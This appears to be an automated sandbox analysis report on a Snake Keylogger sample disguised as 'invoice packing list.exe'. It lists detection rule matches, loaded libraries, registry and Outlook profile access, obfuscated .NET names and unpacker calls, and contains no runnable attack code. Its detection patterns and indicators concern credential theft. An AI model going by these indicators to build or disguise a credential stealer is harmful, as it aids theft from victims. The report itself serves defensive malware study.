Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: invoice packing list.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, BCWpgj8j50mWaxBvP6.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, BCWpgj8j50mWaxBvP6.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, BCWpgj8j50mWaxBvP6.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, BCWpgj8j50mWaxBvP6.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, BCWpgj8j50mWaxBvP6.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, BCWpgj8j50mWaxBvP6.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/1@3/3

Source: C:\Users\user\Desktop\invoice packing list.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\invoice packing list.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe

Mutant created: NULL

Source: invoice packing list.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: invoice packing list.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\invoice packing list.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000003206000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000324A000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003215000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003224000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4492388761.000000000405C000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003257000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: invoice packing list.exe	ReversingLabs: Detection: 59%
Source: invoice packing list.exe	Virustotal: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Process created: C:\Users\user\Desktop\invoice packing list.exe "C:\Users\user\Desktop\invoice packing list.exe"	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\invoice packing list.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\invoice packing list.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: invoice packing list.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: invoice packing list.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: invoice packing list.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: IhJW.pdb source: invoice packing list.exe
Source:	Binary string: IhJW.pdbSHA256N source: invoice packing list.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	.Net Code: J2WfKsWSxk System.Reflection.Assembly.Load(byte[])
Source: 0.2.invoice packing list.exe.38a80a8.1.raw.unpack, RK.cs	.Net Code: _206F_200B_206F_206E_200F_206F_200F_202A_200D_200F_200F_202B_206F_200B_200B_200C_200B_200B_200E_206C_200F_206E_200E_206A_200F_200B_206B_206F_200F_206E_200F_200F_206D_206C_202C_202D_206F_202D_200B_202C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	.Net Code: J2WfKsWSxk System.Reflection.Assembly.Load(byte[])
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	.Net Code: J2WfKsWSxk System.Reflection.Assembly.Load(byte[])
Source: 0.2.invoice packing list.exe.52e0000.6.raw.unpack, RK.cs	.Net Code: _206F_200B_206F_206E_200F_206F_200F_202A_200D_200F_200F_202B_206F_200B_200B_200C_200B_200B_200E_206C_200F_206E_200E_206A_200F_200B_206B_206F_200F_206E_200F_200F_206D_206C_202C_202D_206F_202D_200B_202C_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_0270CE69 push es; iretd	0_2_0270CE76
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_02708EDD push ebx; iretd	0_2_02708EDF
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_0270CCE8 push cs; iretd	0_2_0270CCF6
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_0270CD40 push cs; iretd	0_2_0270CD4E
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_0270B370 push esp; iretd	0_2_0270B37F
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_02705338 pushfd ; iretd	0_2_02705342
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_02705871 pushfd ; iretd	0_2_02705876
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_0270590D pushfd ; iretd	0_2_02705916
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E22A11 pushfd ; iretd	0_2_04E22A12
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E294B8 pushad ; iretd	0_2_04E294C1
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E23458 pushad ; iretd	0_2_04E23466
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E29A38 pushad ; iretd	0_2_04E29A3D
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7EF6 push es; ret	5_2_06BC7F4C

Source: invoice packing list.exe

Static PE information: section name: .text entropy: 7.772898722324074

Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, XZ1it8U9PwDjdP7gXi.cs	High entropy of concatenated method names: 'CRZGN9kx6J', 'R8CGA8OHXp', 'jrIGrlae60', 'RXNG5wq5YG', 'o1TSfLVHTNeDfVf3INo', 'DdiQ5KVinI0jkqm4hNH', 'o4Hd5lVrVvmPy7ZufF2', 'S1SUy7VZoEQpEtPX6qG'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, zSiLhA2jy2oTvl6tbs.cs	High entropy of concatenated method names: 'qUoKs99lB', 'LlMYYM6G6', 'vRNaVVKpb', 'yqv4ph6bv', 'Rjcj6Fs4x', 'FaLZ3H8h3', 'D5acoEfUKcP3Zg9E7G', 't1HSwl05RVYmIyjq7K', 'DLrBAS1PT', 'mlPVHZ8qx'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, UCgCHyZk2L11G2cjVp.cs	High entropy of concatenated method names: 'IthPW1xAmO', 'CmNP4IdRdG', 'sYKmlv6yOI', 'gyXmeep86u', 'kIqmCsIcwY', 'pEQmSTySWH', 'RKemDldfUQ', 'Lytmu4i1xB', 'M8LmRFqoQP', 'EJsm3bIT70'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, khg9ERRp3gHWVtiDLt.cs	High entropy of concatenated method names: 'NSKkLdn3E7', 'wkWk9yoRFD', 'pGvkKvEnjv', 'lUskYg6uwV', 'wNVkWgWdOx', 'pu9ka3hNQQ', 'afYk4EnTMT', 'gj7k8sGyr7', 'h9ikjAG620', 'GubkZajCWr'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, RGlWmwje7LtvZq0b4l.cs	High entropy of concatenated method names: 'Oi5mY96SWr', 'co5ma2uxTa', 'rxAm8otwLu', 'DHwmjEe7dj', 'zV6mGd0yP9', 'viHmTFhVaJ', 'n2JmxhU7jj', 'QuUmBqaI5q', 'LtZmhiYiO7', 'fV2mVNZF1k'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, DvPB97fbEbk6oqcSaO.cs	High entropy of concatenated method names: 'niWIkCWpgj', 'E50I0mWaxB', 'Ue7IELtvZq', 'kb4IvloCgC', 'bcjIGVpKeC', 'Cy8ITqdFGi', 'VZR9gm3M9o7xsHgeRQ', 'fFOOQ8NZcDkEOEDiV9', 'p4bIIJmaHs', 'ylMIywI9yG'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, j1gFGoXv2S6nIHvGHT.cs	High entropy of concatenated method names: 'ToString', 'NTtT7NW4tR', 'iGqTnMg16J', 'YQJTl5AaeT', 'f26TeMjAkL', 'IT8TCEK5nK', 'FpETSY3k8Q', 'AwWTDGMUdi', 'FnZTuoOF2Z', 'd0bTRJgv1P'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, a284xdII5yLBtRLk15W.cs	High entropy of concatenated method names: 'Bb7V5FjYke', 'a8XVzvPDMl', 'kiPcOsNUNr', 'IaHcIjUPGf', 'J0Ic2Gu9F6', 'Gpacy8EMeC', 'DoZcf6nloe', 'APccbfPfLw', 'nZYcHit2wM', 'bPvcQjhvcR'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, xoB6256fyHcwTsGSFY.cs	High entropy of concatenated method names: 'AewF8cr0yT', 'xpTFjpdHTW', 'desFqD70b7', 'TnbFnBfbFT', 'luVFeyr7sF', 'gOYFCTQctY', 'u0wFDg1BCR', 'oKkFuZUBln', 'mUxF3ybs0I', 'ieQF73tp99'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, Q95703IO9rX5a8MElxl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'maRV7BOeyn', 'R8TVtuy3as', 'RtHV6Ey4GS', 'LEYVJiM15u', 'yorVULmkZY', 'JbZVXBR2nD', 'Wy4V1iebwv'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, F4Wcut0tUpQuiHlWmD.cs	High entropy of concatenated method names: 'b51ybtIs57', 'IZ9yHXjGXC', 'H5gyQmo4LD', 'MBjymjhdjO', 'IPoyPtwryf', 'qaQyM9eeb6', 'xWcykCP1qW', 'ER0y0EOZLQ', 'KJIyglWeL8', 'Ct7yERpdAy'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, zeC4y8qqdFGihnfe7F.cs	High entropy of concatenated method names: 'AVHMbfJXTp', 'zK9MQORnWo', 'aHPMPRwGin', 'BikMkfAaY3', 'D8gM0uFn6k', 'GwEPoXog5n', 'EaRPwxqhYg', 'QEgPNngK8W', 'gcqPAXGRKM', 'Df1Pr6IySE'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, WW3P9p5VnJt57g3Q1E.cs	High entropy of concatenated method names: 'do9VmVJewj', 'j7EVP5eGp5', 'cKYVMNqiCv', 'kqbVkPd1SV', 'yIHVhEriNh', 'TpDV0KhjWu', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.invoice packing list.exe.2620000.0.raw.unpack, EyMo88rs0Ara9Txj0w.cs	High entropy of concatenated method names: 'PKShqKRLin', 'yk2hnAJltv', 'jdfhlVUD9w', 'oi4heHIGMi', 'stfhCDbg1m', 'YTghSELsZN', 'eMihDwpFDW', 'FeRhu21r2D', 'LSxhRsdb1W', 'Aggh3L4sEG'
